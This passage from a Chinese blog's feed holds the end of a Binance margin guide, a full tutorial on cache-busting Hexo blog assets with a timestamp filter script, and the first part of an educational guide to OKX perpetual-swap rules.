传统杠杆交易概念</li></ul><h3 id="技术工具与计算器">技术工具与计算器</h3><p><strong>实用工具：</strong></p><ul><li><a href="https://www.binance.com/zh-CN/futures/trading-rules/perpetual/portfolio-margin">币安统一账户计算器</a> - 官方保证金计算工具</li><li><a href="https://www.binance.com/zh-CN/futures/trading-rules/perpetual/reduce-only-triggers">风险管理工具</a> - 只减仓触发条件查询</li></ul><h3 id="相关学术资源">相关学术资源</h3><p><strong>风险管理理论：</strong></p><ul><li>组合理论与资产配置 - 现代投资组合理论基础</li><li>VaR模型与压力测试 - 风险度量方法</li><li>流动性风险管理 - 大额持仓的市场冲击理论</li></ul><p><strong>历史案例研究：</strong></p><ul><li>2022年Luna/UST崩盘事件 - 大额持仓清算的系统性风险案例</li><li>传统金融中的组合保证金应用 - 期货市场风险管理实践</li></ul><h3 id="数据来源说明">数据来源说明</h3><p>本文档中的折算率数据、计算示例和技术参数均来源于：</p><ol><li>币安官方API实时数据（截至2025年7月）</li><li>币安官方支持文档和FAQ</li><li>实际交易界面的参数设置</li><li>深度调研过程中的技术文档分析</li></ol><h3 id="免责声明">免责声明</h3><ul><li>本文档仅用于教育和信息传播目的</li><li>数字资产交易存在高风险，可能导致全部本金损失</li><li>统一账户模式涉及复杂的风险管理机制，建议充分了解后谨慎使用</li><li>相关参数和规则可能随市场条件变化而调整，请以币安官方最新公告为准</li><li>本文档不构成投资建议，请根据自身风险承受能力谨慎决策</li></ul><hr><p><em>文档更新时间：2025年7月</em><br><em>基于币安官方文档、深度调研和实际折算率数据整理</em><br><em>涵盖组合保证金、多账户折算、风险管理等核心机制</em><br><em>如发现内容错误或需要更新，请参考币安官方最新文档</em></p>]]>
    </content>
    <id>https://www.blog-blockchain.xyz/finance/binance-unified-account-margin-trading-guide/</id>
    <link href="https://www.blog-blockchain.xyz/finance/binance-unified-account-margin-trading-guide/"/>
    <published>2025-07-27T05:26:20.000Z</published>
    <summary>本文提供了币安统一账户与保证金交易的完整操作指南，包含数学符号定义、账户机制详解、保证金计算公式、风险控制参数等核心内容，适合币安交易者学习统一账户操作和保证金管理的技术指南。</summary>
    <title>币安统一账户与保证金交易完整指南</title>
    <updated>2026-02-19T16:18:41.282Z</updated>
  </entry>
  <entry>
    <author>
      <name>Michael L</name>
    </author>
    <category term="developer" scheme="https://www.blog-blockchain.xyz/categories/developer/"/>
    <category term="developer" scheme="https://www.blog-blockchain.xyz/tags/developer/"/>
    <content>
      <![CDATA[<h2 id="问题描述">问题描述</h2><p>使用Hexo博客部署到GitHub Pages后，经常遇到一个困扰的问题：每次<code>hexo deploy</code>部署后，博客的新内容在浏览器中不会立即显示，必须手动清理浏览器缓存（Ctrl+Shift+R）才能看到更新。</p><p><strong>问题本质</strong>：浏览器会缓存CSS、JS等静态资源来优化性能，但当这些资源更新时，由于URL相同，浏览器继续使用旧的缓存内容。</p><figure class="highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">&lt;!-- 每次生成的HTML都是相同的URL --&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">link</span> <span class="attr">rel</span>=<span class="string">&quot;stylesheet&quot;</span> <span class="attr">href</span>=<span class="string">&quot;/css/index.css&quot;</span> /&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">script</span> <span class="attr">src</span>=<span class="string">&quot;/js/main.js&quot;</span>&gt;</span><span class="tag">&lt;/<span class="name">script</span>&gt;</span></span><br></pre></td></tr></table></figure><h2 id="解决方案">解决方案</h2><p>核心思路：为静态资源添加版本号，强制浏览器重新下载更新的文件。</p><h3 id="方案设计">方案设计</h3><p>采用三层缓存控制机制：</p><ol><li><strong>HTML页面缓存控制</strong>：通过Meta标签禁止缓存HTML</li><li><strong>静态资源版本控制</strong>：为本地CSS/JS添加时间戳版本号</li><li><strong>CDN资源保护</strong>：保持第三方CDN资源不变</li></ol><h3 id="技术实现">技术实现</h3><p>创建<code>scripts/cache-buster.js</code>文件，利用Hexo的<code>after_render:html</code>钩子自动处理：</p><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// scripts/cache-buster.js</span></span><br><span class="line">hexo.<span class="property">extend</span>.<span class="property">filter</span>.<span class="title function_">register</span>(<span class="string">&quot;after_render:html&quot;</span>, <span class="keyword">function</span> (<span class="params">str, data</span>) &#123;</span><br><span class="line">  <span class="keyword">if</span> (!str) <span class="keyword">return</span> str;</span><br><span class="line"></span><br><span class="line">  <span class="keyword">const</span> timestamp = <span class="title class_">Date</span>.<span class="title function_">now</span>();</span><br><span class="line"></span><br><span class="line">  <span class="comment">// 处理CSS资源</span></span><br><span class="line">  str = str.<span class="title function_">replace</span>(</span><br><span class="line">    <span class="regexp">/(&lt;link[^&gt;]*href=[&quot;&#x27;]?)([^&quot;&#x27;?]+\.css)(\?[^&quot;&#x27;]*)?[&quot;&#x27;]/g</span>,</span><br><span class="line">    <span class="function">(<span class="params">match, prefix, url, query</span>) =&gt;</span> &#123;</span><br><span class="line">      <span class="comment">// 跳过CDN和外部资源</span></span><br><span class="line">      <span class="keyword">if</span> (</span><br><span class="line">        url.<span class="title function_">includes</span>(<span class="string">&quot;cdn.&quot;</span>) ||</span><br><span class="line">        url.<span class="title function_">includes</span>(<span class="string">&quot;://&quot;</span>) ||</span><br><span class="line">        url.<span class="title function_">startsWith</span>(<span class="string">&quot;http&quot;</span>)</span><br><span class="line">      ) &#123;</span><br><span class="line">        <span class="keyword">return</span> match;</span><br><span class="line">      &#125;</span><br><span class="line">      <span class="comment">// 避免重复添加版本号</span></span><br><span class="line">      <span class="keyword">if</span> (query &amp;&amp; query.<span class="title function_">includes</span>(<span class="string">&quot;v=&quot;</span>)) &#123;</span><br><span class="line">        <span class="keyword">return</span> match;</span><br><span class="line">      &#125;</span><br><span class="line">      <span class="keyword">return</span> <span class="string">`<span class="subst">$&#123;prefix&#125;</span><span class="subst">$&#123;url&#125;</span>?v=<span class="subst">$&#123;timestamp&#125;</span>&quot;`</span>;</span><br><span class="line">    &#125;</span><br><span class="line">  );</span><br><span class="line"></span><br><span class="line">  <span class="comment">// 处理JS资源</span></span><br><span class="line">  str = str.<span class="title function_">replace</span>(</span><br><span class="line">    <span class="regexp">/(&lt;script[^&gt;]*src=[&quot;&#x27;]?)([^&quot;&#x27;?]+\.js)(\?[^&quot;&#x27;]*)?[&quot;&#x27;]/g</span>,</span><br><span class="line">    <span class="function">(<span class="params">match, prefix, url, query</span>) =&gt;</span> &#123;</span><br><span class="line">      <span class="keyword">if</span> (</span><br><span class="line">        url.<span class="title function_">includes</span>(<span class="string">&quot;cdn.&quot;</span>) ||</span><br><span class="line">        url.<span class="title function_">includes</span>(<span class="string">&quot;://&quot;</span>) ||</span><br><span class="line">        url.<span class="title function_">startsWith</span>(<span class="string">&quot;http&quot;</span>)</span><br><span class="line">      ) &#123;</span><br><span class="line">        <span class="keyword">return</span> match;</span><br><span class="line">      &#125;</span><br><span class="line">      <span class="keyword">if</span> (query &amp;&amp; query.<span class="title function_">includes</span>(<span class="string">&quot;v=&quot;</span>)) &#123;</span><br><span class="line">        <span class="keyword">return</span> match;</span><br><span class="line">      &#125;</span><br><span class="line">      <span class="keyword">return</span> <span class="string">`<span class="subst">$&#123;prefix&#125;</span><span class="subst">$&#123;url&#125;</span>?v=<span class="subst">$&#123;timestamp&#125;</span>&quot;`</span>;</span><br><span class="line">    &#125;</span><br><span class="line">  );</span><br><span class="line"></span><br><span class="line">  <span class="keyword">return</span> str;</span><br><span class="line">&#125;);</span><br></pre></td></tr></table></figure><h2 id="配置步骤">配置步骤</h2><h3 id="1-添加HTML缓存控制">1. 添加HTML缓存控制</h3><p>编辑主题模板文件<code>themes/butterfly/layout/includes/head.pug</code>，添加：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">meta(http-equiv=&quot;Cache-Control&quot; content=&quot;no-cache, no-store, must-revalidate&quot;)</span><br><span class="line">meta(http-equiv=&quot;Pragma&quot; content=&quot;no-cache&quot;)</span><br><span class="line">meta(http-equiv=&quot;Expires&quot; content=&quot;0&quot;)</span><br></pre></td></tr></table></figure><h3 id="2-启用CDN版本控制">2. 启用CDN版本控制</h3><p>编辑<code>themes/butterfly/_config.yml</code>：</p><figure class="highlight yaml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="attr">CDN:</span></span><br><span class="line">  <span class="attr">version:</span> <span class="literal">true</span> <span class="comment"># 启用CDN资源版本控制</span></span><br></pre></td></tr></table></figure><h2 id="验证效果">验证效果</h2><h3 id="命令行验证">命令行验证</h3><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># 生成并检查</span></span><br><span class="line">hexo clean &amp;&amp; hexo generate</span><br><span class="line"></span><br><span class="line"><span class="comment"># 检查CSS资源版本化</span></span><br><span class="line">grep -n <span class="string">&quot;\.css?v=&quot;</span> public/index.html</span><br><span class="line"></span><br><span class="line"><span class="comment"># 检查JS资源版本化</span></span><br><span class="line">grep -n <span class="string">&quot;\.js?v=&quot;</span> public/index.html</span><br></pre></td></tr></table></figure><p><strong>预期输出</strong>：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">15:&lt;link rel=&quot;stylesheet&quot; href=&quot;/css/index.css?v=1690123456789&quot; /&gt;</span><br><span class="line">28:&lt;script src=&quot;/js/main.js?v=1690123456789&quot;&gt;&lt;/script&gt;</span><br></pre></td></tr></table></figure><h3 id="浏览器验证">浏览器验证</h3><ol><li>部署博客后，打开开发者工具的Network面板</li><li>刷新页面，检查静态资源的URL是否包含版本号</li><li>再次部署，确认版本号已更新</li></ol><h2 id="使用说明">使用说明</h2><p>配置完成后，继续使用原有的Hexo工作流程即可：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># 标准流程</span></span><br><span class="line">hexo clean &amp;&amp; hexo generate &amp;&amp; hexo deploy</span><br><span class="line"></span><br><span class="line"><span class="comment"># 或简写</span></span><br><span class="line">hexo cl &amp;&amp; hexo g &amp;&amp; hexo d</span><br></pre></td></tr></table></figure><p>每次执行<code>hexo generate</code>时，系统会自动：</p><ul><li>为所有本地CSS/JS文件添加当前时间戳</li><li>保持CDN资源链接不变</li><li>确保HTML页面不被缓存</li></ul><h2 id="扩展功能">扩展功能</h2><h3 id="支持更多资源类型">支持更多资源类型</h3><p>如需支持图片资源版本控制，可在脚本中添加：</p><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// 支持图片资源版本控制</span></span><br><span class="line">str = str.<span class="title function_">replace</span>(</span><br><span class="line">  <span class="regexp">/(&lt;img[^&gt;]*src=[&quot;&#x27;]?)([^&quot;&#x27;?]+\.(png|jpg|jpeg|gif|webp))(\?[^&quot;&#x27;]*)?[&quot;&#x27;]/g</span>,</span><br><span class="line">  <span class="function">(<span class="params">match, prefix, url, ext, query</span>) =&gt;</span> &#123;</span><br><span class="line">    <span class="keyword">if</span> (url.<span class="title function_">includes</span>(<span class="string">&quot;cdn.&quot;</span>) || url.<span class="title function_">includes</span>(<span class="string">&quot;://&quot;</span>) || url.<span class="title function_">startsWith</span>(<span class="string">&quot;http&quot;</span>)) &#123;</span><br><span class="line">      <span class="keyword">return</span> match;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">if</span> (query &amp;&amp; query.<span class="title function_">includes</span>(<span class="string">&quot;v=&quot;</span>)) &#123;</span><br><span class="line">      <span class="keyword">return</span> match;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">return</span> <span class="string">`<span class="subst">$&#123;prefix&#125;</span><span class="subst">$&#123;url&#125;</span>?v=<span class="subst">$&#123;timestamp&#125;</span>&quot;`</span>;</span><br><span class="line">  &#125;</span><br><span class="line">);</span><br></pre></td></tr></table></figure><h3 id="环境区分">环境区分</h3><p>只在生产环境启用缓存清理：</p><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// 只在生产环境启用</span></span><br><span class="line"><span class="keyword">if</span> (hexo.<span class="property">env</span>.<span class="property">cmd</span> === <span class="string">&quot;generate&quot;</span> &amp;&amp; process.<span class="property">env</span>.<span class="property">NODE_ENV</span> === <span class="string">&quot;production&quot;</span>) &#123;</span><br><span class="line">  <span class="comment">// 添加版本号逻辑</span></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="总结">总结</h2><p>这个解决方案具有以下优点：</p><ul><li><strong>自动化</strong>：集成到Hexo生成流程，无需额外操作</li><li><strong>智能化</strong>：区分本地资源和CDN资源，精确控制</li><li><strong>兼容性</strong>：保持原有工作流程不变</li><li><strong>高效性</strong>：最小化性能影响</li></ul><p>配置完成后，每次部署博客内容都能立即更新，彻底解决缓存问题。</p>]]>
    </content>
    <id>https://www.blog-blockchain.xyz/dev/hexo-cache-busting-solution/</id>
    <link href="https://www.blog-blockchain.xyz/dev/hexo-cache-busting-solution/"/>
    <published>2025-07-23T13:40:00.000Z</published>
    <summary>深入分析Hexo博客部署后浏览器缓存导致内容不更新的根本原因，提供基于Hexo钩子系统的智能化缓存清理解决方案，实现自动版本控制和缓存管理，让用户无需手动清理即可看到最新内容。</summary>
    <title>Hexo博客缓存问题的终极解决方案</title>
    <updated>2026-02-19T16:18:01.161Z</updated>
  </entry>
  <entry>
    <author>
      <name>Michael L</name>
    </author>
    <category term="finance" scheme="https://www.blog-blockchain.xyz/categories/finance/"/>
    <category term="economics" scheme="https://www.blog-blockchain.xyz/categories/finance/economics/"/>
    <category term="perpetual swap" scheme="https://www.blog-blockchain.xyz/tags/perpetual-swap/"/>
    <category term="CEX" scheme="https://www.blog-blockchain.xyz/tags/CEX/"/>
    <category term="OKX" scheme="https://www.blog-blockchain.xyz/tags/OKX/"/>
    <category term="derivatives" scheme="https://www.blog-blockchain.xyz/tags/derivatives/"/>
    <category term="leverage" scheme="https://www.blog-blockchain.xyz/tags/leverage/"/>
    <category term="risk management" scheme="https://www.blog-blockchain.xyz/tags/risk-management/"/>
    <category term="funding rate" scheme="https://www.blog-blockchain.xyz/tags/funding-rate/"/>
    <category term="liquidation" scheme="https://www.blog-blockchain.xyz/tags/liquidation/"/>
    <category term="ADL" scheme="https://www.blog-blockchain.xyz/tags/ADL/"/>
    <category term="margin" scheme="https://www.blog-blockchain.xyz/tags/margin/"/>
    <category term="cryptocurrency" scheme="https://www.blog-blockchain.xyz/tags/cryptocurrency/"/>
    <content>
      <![CDATA[<h2 id="概述">概述</h2><p>永续合约是数字货币交易所（CEX）提供的主流衍生品工具，无到期日限制，通过资金费率机制使合约价格与现货价格保持一致。本文以OKX为主要示例，详细介绍CEX永续合约的完整规则体系，包括合约规格、保证金制度、风险管理机制等关键内容。</p><p><strong>重要声明</strong>：本文内容基于公开资料整理，以OKX平台规则为主要参考，仅供学习和研究使用。不同交易所的具体规则可能存在差异，实际交易时请以各平台官方文档和最新规则为准。投资有风险，请谨慎决策。</p><h3 id="核心术语定义">核心术语定义</h3><p>为确保本文表达的一致性和准确性，以下对主要术语进行统一定义：</p><ul><li><strong>永续合约（Perpetual Swap）</strong>：无到期日的衍生品合约，通过资金费率机制实现价格发现</li><li><strong>标记价格（Mark Price）</strong>：用于计算未实现盈亏和强制平仓的基准价格</li><li><strong>现货指数价格（Index Price）</strong>：基于多个现货交易所价格的加权平均值</li><li><strong>维持保证金（Maintenance Margin）</strong>：维持仓位不被强制平仓的最低保证金要求</li><li><strong>初始保证金（Initial Margin）</strong>：开仓时需要投入的保证金，也称开仓保证金</li><li><strong>强制平仓（Forced Liquidation）</strong>：当维持保证金率低于100%时系统自动平仓</li><li><strong>自动减仓（ADL）</strong>：风险准备金不足时强制平仓盈利仓位的机制</li><li><strong>资金费率（Funding Rate）</strong>：定期支付的费用，用于维持合约价格与现货价格的一致性</li><li><strong>杠杆倍数（Leverage）</strong>：放大投资效果的倍数，表示实际仓位价值与保证金的比例</li><li><strong>仓位（Position）</strong>：用户持有的合约数量，分为多仓（看涨）和空仓（看跌）</li></ul><h2 id="1-永续合约基础架构">1. 永续合约基础架构</h2><p>本章节将从合约类型、订单簿机制等基础要素出发，建立对CEX永续合约系统的整体认知。通过对比分析USDT本位与币本位合约的特点，以及深入解析订单簿的构成原理，为后续章节的交易机制和风险管理奠定理论基础。以OKX平台规则为主要参考示例。</p><h3 id="1-1-永续合约类型与规格">1.1 永续合约类型与规格</h3><h4 id="1-1-1-合约类型分类">1.1.1 合约类型分类</h4><p><strong>图1 永续合约类型分类对比</strong></p><pre><code class="highlight mermaid">graph TD    A[&quot;永续合约类型&quot;] --&gt; B[&quot;USDT本位合约&lt;br/&gt;（主流）&quot;]    A --&gt; C[&quot;币本位合约&lt;br/&gt;（较少使用）&quot;]    B --&gt; D[&quot;结算货币: USDT&lt;br/&gt;合约面值: 固定数量标的资产&lt;br/&gt;杠杆: 0.01-100倍&lt;br/&gt;优势: 收益计算直观&quot;]    C --&gt; E[&quot;结算货币: 标的加密货币&lt;br/&gt;合约面值: 100美元等值&lt;br/&gt;杠杆: 0.01-100倍&lt;br/&gt;适用: 套期保值需求&quot;]    style B fill:#e1f5fe    style C fill:#fff3e0    style A fill:#f3e5f5</code></pre><p>如图1所示，永续合约主要分为USDT本位合约和币本位合约两大类型。其中USDT本位合约因其收益计算直观、以USDT计价便于理解盈亏等优势，成为市场主流选择。</p><h5 id="1-1-1-1-USDT本位永续合约（主流）">1.1.1.1 USDT本位永续合约（主流）</h5><ul><li><strong>定义</strong>：以USDT进行结算的数字货币合约产品，是市场上最主流的永续合约类型</li><li><strong>合约面值</strong>：每张合约代表固定数量的标的数字货币（例如BTCUSDT合约，每张代表0.01BTC）</li><li><strong>结算货币</strong>：USDT（泰达币）</li><li><strong>杠杆倍数</strong>：0.01-100倍（支持1%到100倍的杠杆范围）</li><li><strong>核心优势</strong>：收益计算直观明了，以USDT计价，便于投资者理解盈亏状况</li></ul><h5 id="1-1-1-2-币本位永续合约（较少使用）">1.1.1.2 币本位永续合约（较少使用）</h5><ul><li><strong>定义</strong>：以BTC等加密货币进行结算的数字货币合约产品</li><li><strong>合约面值</strong>：每张合约代表价值100美元等值的标的资产</li><li><strong>结算货币</strong>：以标的加密货币本身进行结算（如BTC合约以BTC结算）</li><li><strong>杠杆倍数</strong>：0.01-100倍（与USDT本位合约相同的杠杆范围）</li><li><strong>适用场景</strong>：特别适合长期持有该币种的用户，如矿工等有套期保值需求的群体</li></ul><blockquote><p><strong>套期保值解释</strong>：套保是指通过衍生品交易对冲现货价格波动风险的策略，帮助投资者锁定收益或规避损失。</p></blockquote><h4 id="1-1-2-订单簿基础机制">1.1.2 订单簿基础机制</h4><h5 id="1-1-2-1-订单簿构成要素">1.1.2.1 订单簿构成要素</h5><p>订单簿（Order Book）是交易所展示买卖订单的实时列表，包含：</p><p><strong>基本性质</strong>：</p><ul><li><strong>价格精度（最小变动单位）</strong>：价格不能任意设置，必须是最小精度的整数倍<ul><li>例如：价格精度为0.1，则只能报价50000.0、50000.1、50000.2…</li><li>不能报价50000.05或50000.15等中间值</li></ul></li><li><strong>离散性</strong>：正是因为价格精度的存在，才有了买一、买二等不同档位</li><li><strong>排序规则</strong>：同一价格档位的订单按时间优先原则排序</li></ul><p><strong>买卖盘结构</strong>：</p><ul><li><strong>买盘（Bid）</strong>：买入订单，价格从高到低排列<ul><li>买一：最高买入价格及对应数量</li><li>买二、买三…：依次递减一个或多个最小精度单位的买入价格</li></ul></li><li><strong>卖盘（Ask）</strong>：卖出订单，价格从低到高排列<ul><li>卖一：最低卖出价格及对应数量</li><li>卖二、卖三…：依次递增一个或多个最小精度单位的卖出价格</li></ul></li></ul><h5 id="1-1-2-2-关键术语定义">1.1.2.2 关键术语定义</h5><ul><li><strong>档位</strong>：订单簿中每一个价格水平及其对应的挂单数量</li><li><strong>深度</strong>：各档位的挂单总量，反映市场流动性</li><li><strong>买卖价差（Bid-Ask Spread）</strong>：买一价格与卖一价格的差值，反映市场流动性成本<ul><li><strong>具体例子</strong>：买一价格49,950，卖一价格50,000，价差为50 USDT</li><li><strong>实际影响</strong>：若想立即买入，需按50,000价格成交；若想立即卖出，只能按49,950价格成交</li><li><strong>经济含义</strong>：这个价差就是立即成交需要支付的&quot;流动性成本&quot;，价差越小说明流动性越好</li></ul></li><li><strong>市场深度</strong>：大额交易对价格的冲击程度</li></ul><h5 id="1-1-2-3-订单簿结构示例">1.1.2.3 订单簿结构示例</h5><p><strong>图2 订单簿结构与价格档位分布</strong></p><pre><code class="highlight mermaid">graph TB    subgraph &quot;卖盘 (Ask) - 价格从低到高&quot;        A3[&quot;卖三: 50,100 USDT&lt;br/&gt;数量: 0.15&quot;]        A2[&quot;卖二: 50,050 USDT&lt;br/&gt;数量: 0.25&quot;]        A1[&quot;卖一: 50,000 USDT&lt;br/&gt;数量: 0.10&quot;]    end    MP[&quot;当前价格: 49,975 USDT&lt;br/&gt;买卖价差: 50 USDT&quot;]    subgraph &quot;买盘 (Bid) - 价格从高到低&quot;        B1[&quot;买一: 49,950 USDT&lt;br/&gt;数量: 0.20&quot;]        B2[&quot;买二: 49,900 USDT&lt;br/&gt;数量: 0.30&quot;]        B3[&quot;买三: 49,850 USDT&lt;br/&gt;数量: 0.40&quot;]    end    A3 --&gt; A2 --&gt; A1 --&gt; MP --&gt; B1 --&gt; B2 --&gt; B3    style A1 fill:#ffcdd2    style A2 fill:#ffcdd2    style A3 fill:#ffcdd2    style B1 fill:#c8e6c9    style B2 fill:#c8e6c9    style B3 fill:#c8e6c9    style MP fill:#fff3e0</code></pre><p>如图2所示，订单簿按照价格优先、时间优先的原则排列。卖盘价格从低到高排序，买盘价格从高到低排序，中间的价差反映了市场的流动性成本。</p><table><thead><tr><th>卖盘</th><th>价格</th><th>数量</th></tr></thead><tbody><tr><td></td><td>50,100</td><td>0.15</td></tr><tr><td>卖二</td><td>50,050</td><td>0.25</td></tr><tr><td>卖一</td><td>50,000</td><td>0.10</td></tr><tr><td><strong>当前价格</strong></td><td><strong>49,975</strong></td><td></td></tr><tr><td>买一</td><td>49,950</td><td>0.20</td></tr><tr><td>买二</td><td>49,900</td><td>0.30</td></tr><tr><td></td><td>49,850</td><td>0.40</td></tr></tbody></table><h2 id="2-永续合约交易机制">2. 永续合约交易机制</h2><p>本章节将系统地阐述永续合约的核心交易机制，包括开仓与平仓的操作原理、持仓模式的对比分析。通过深入探讨买卖模式与开平模式的差异及其适用场景，为交易者提供理论基础和实践指导。</p><h3 id="2-1-开仓与平仓操作">2.1 开仓与平仓操作</h3><p><strong>图3 开仓与平仓操作流程</strong></p><pre><code class="highlight mermaid">graph LR    subgraph &quot;开仓操作&quot;        A1[&quot;买入开多&lt;br/&gt;预期价格上涨&quot;] --&gt; B1[&quot;建立多头仓位&lt;br/&gt;价格上涨获利&quot;]        A2[&quot;卖出开空&lt;br/&gt;预期价格下跌&quot;] --&gt; B2[&quot;建立空头仓位&lt;br/&gt;价格下跌获利&quot;]    end    subgraph &quot;平仓操作&quot;        C1[&quot;多头平仓&lt;br/&gt;卖出合约&quot;] --&gt; D1[&quot;结算盈亏&lt;br/&gt;（当前价-开仓价）×张数&quot;]        C2[&quot;空头平仓&lt;br/&gt;买入合约&quot;] --&gt; D2[&quot;结算盈亏&lt;br/&gt;（开仓价-当前价）×张数&quot;]    end    B1 --&gt; C1    B2 --&gt; C2    style A1 fill:#c8e6c9    style A2 fill:#ffcdd2    style B1 fill:#c8e6c9    style B2 fill:#ffcdd2    style C1 fill:#e1f5fe    style C2 fill:#e1f5fe    style D1 fill:#fff3e0    style D2 fill:#fff3e0</code></pre><p>如图3所示，永续合约的交易包括开仓和平仓两个基本操作。开仓时建立多头或空头仓位，平仓时通过反向操作结算盈亏。</p><h4 id="2-1-1-开仓机制原理">2.1.1 开仓机制原理</h4><ul><li><strong>开仓（开新仓位）</strong>：<ul><li><strong>买入开多（做多）</strong>：预期价格上涨，买入合约建立多头仓位，盈利来源于价格上涨</li><li><strong>卖出开空（做空）</strong>：预期价格下跌，卖出合约建立空头仓位，盈利来源于价格下跌</li><li><strong>保证金机制</strong>：只需支付合约价值的一小部分作为保证金，通过杠杆放大收益和风险</li></ul></li></ul><h4 id="2-1-2-平仓机制原理">2.1.2 平仓机制原理</h4><ul><li><strong>平仓（关闭仓位）</strong>：<ul><li><strong>多头平仓</strong>：卖出与持有多头仓位相等数量的合约</li><li><strong>空头平仓</strong>：买入与持有空头仓位相等数量的合约</li><li><strong>盈亏结算</strong>：平仓时根据开仓价格与平仓价格的差异计算实际盈亏</li></ul></li></ul><blockquote><p><strong>实例说明</strong>：假设BTC价格为50,000 USDT，用户用1,000 USDT保证金，10倍杠杆最多只能开一个价值10,000 USDT的BTC合约（即0.2 BTC）。如果BTC涨至55,000 USDT时平仓，盈利1,000 USDT；如果跌至45,000 USDT时平仓，亏损1,000 USDT（本金全部亏完）。</p></blockquote><h3 id="2-2-持仓模式对比分析">2.2 持仓模式对比分析</h3><p><strong>图4 持仓模式对比分析</strong></p><pre><code class="highlight mermaid">graph TD    A[&quot;持仓模式&quot;] --&gt; B[&quot;买卖模式&lt;br/&gt;（单向持仓）&quot;]    A --&gt; C[&quot;开平模式&lt;br/&gt;（双向持仓）&quot;]    B --&gt; D[&quot;特点:&lt;br/&gt;• 一个方向持仓&lt;br/&gt;• 反向操作减少仓位&lt;br/&gt;• 资金效率高&quot;]    C --&gt; E[&quot;特点:&lt;br/&gt;• 同时持有多空&lt;br/&gt;• 反向操作增加仓位&lt;br/&gt;• 操作灵活性高&quot;]    subgraph &quot;示例对比&quot;        F[&quot;初始: 10张多仓&lt;br/&gt;操作: 卖出5张&quot;]        F --&gt; G[&quot;买卖模式结果:&lt;br/&gt;5张多仓&quot;]        F --&gt; H[&quot;开平模式结果:&lt;br/&gt;10张多仓 + 5张空仓&quot;]    end    D --&gt; G    E --&gt; H    style B fill:#e1f5fe    style C fill:#fff3e0    style G fill:#c8e6c9    style H fill:#ffeb3b</code></pre><p>如图4所示，买卖模式和开平模式的核心区别在于对反向操作的处理方式。买卖模式追求资金效率，而开平模式提供更高的操作灵活性。</p><h4 id="2-2-1-买卖模式（单向持仓）">2.2.1 买卖模式（单向持仓）</h4><ul><li>每个合约在一个保证金模式下只能有一个持仓方向（多仓或空仓）</li><li>反向操作会直接减少当前仓位</li><li>例如：持有10张BTCUSDT多仓，卖出5张后变成5张多仓</li></ul><h4 id="2-2-2-开平模式（双向持仓）">2.2.2 开平模式（双向持仓）</h4><ul><li>每个合约可以同时持有多仓和空仓</li><li>反向操作会建立新的相反仓位</li><li>例如：持有10张BTCUSDT多仓，卖出5张后变成10张多仓+5张空仓</li></ul><h4 id="2-2-3-本质差异分析">2.2.3 本质差异分析</h4><h5 id="2-2-3-1-净头寸相同">2.2.3.1 净头寸相同</h5><p>从最终盈亏角度，两种模式的净头寸效果相同：</p><ul><li>单向：10张多仓 - 5张卖出 = 5张净多仓</li><li>双向：10张多仓 + 5张空仓 = 5张净多仓</li></ul><h5 id="2-2-3-2-关键区别">2.2.3.2 关键区别</h5><ul><li><strong>保证金占用</strong>：<ul><li>单向：只需为净头寸(5张)缴纳保证金</li><li>双向：需为总头寸(10+5=15张)分别缴纳保证金</li></ul></li><li><strong>资金费率</strong>：<ul><li>单向：只对净头寸收取资金费用</li><li>双向：多仓和空仓分别收取资金费用（可能相互抵消）</li></ul></li><li><strong>操作灵活性</strong>：<ul><li>单向：平仓需要精确计算数量</li><li>双向：可以保持原有仓位不动，独立管理对冲仓位</li></ul></li></ul><h4 id="2-2-4-适用场景分析">2.2.4 适用场景分析</h4><h5 id="2-2-4-1-单向持仓">2.2.4.1 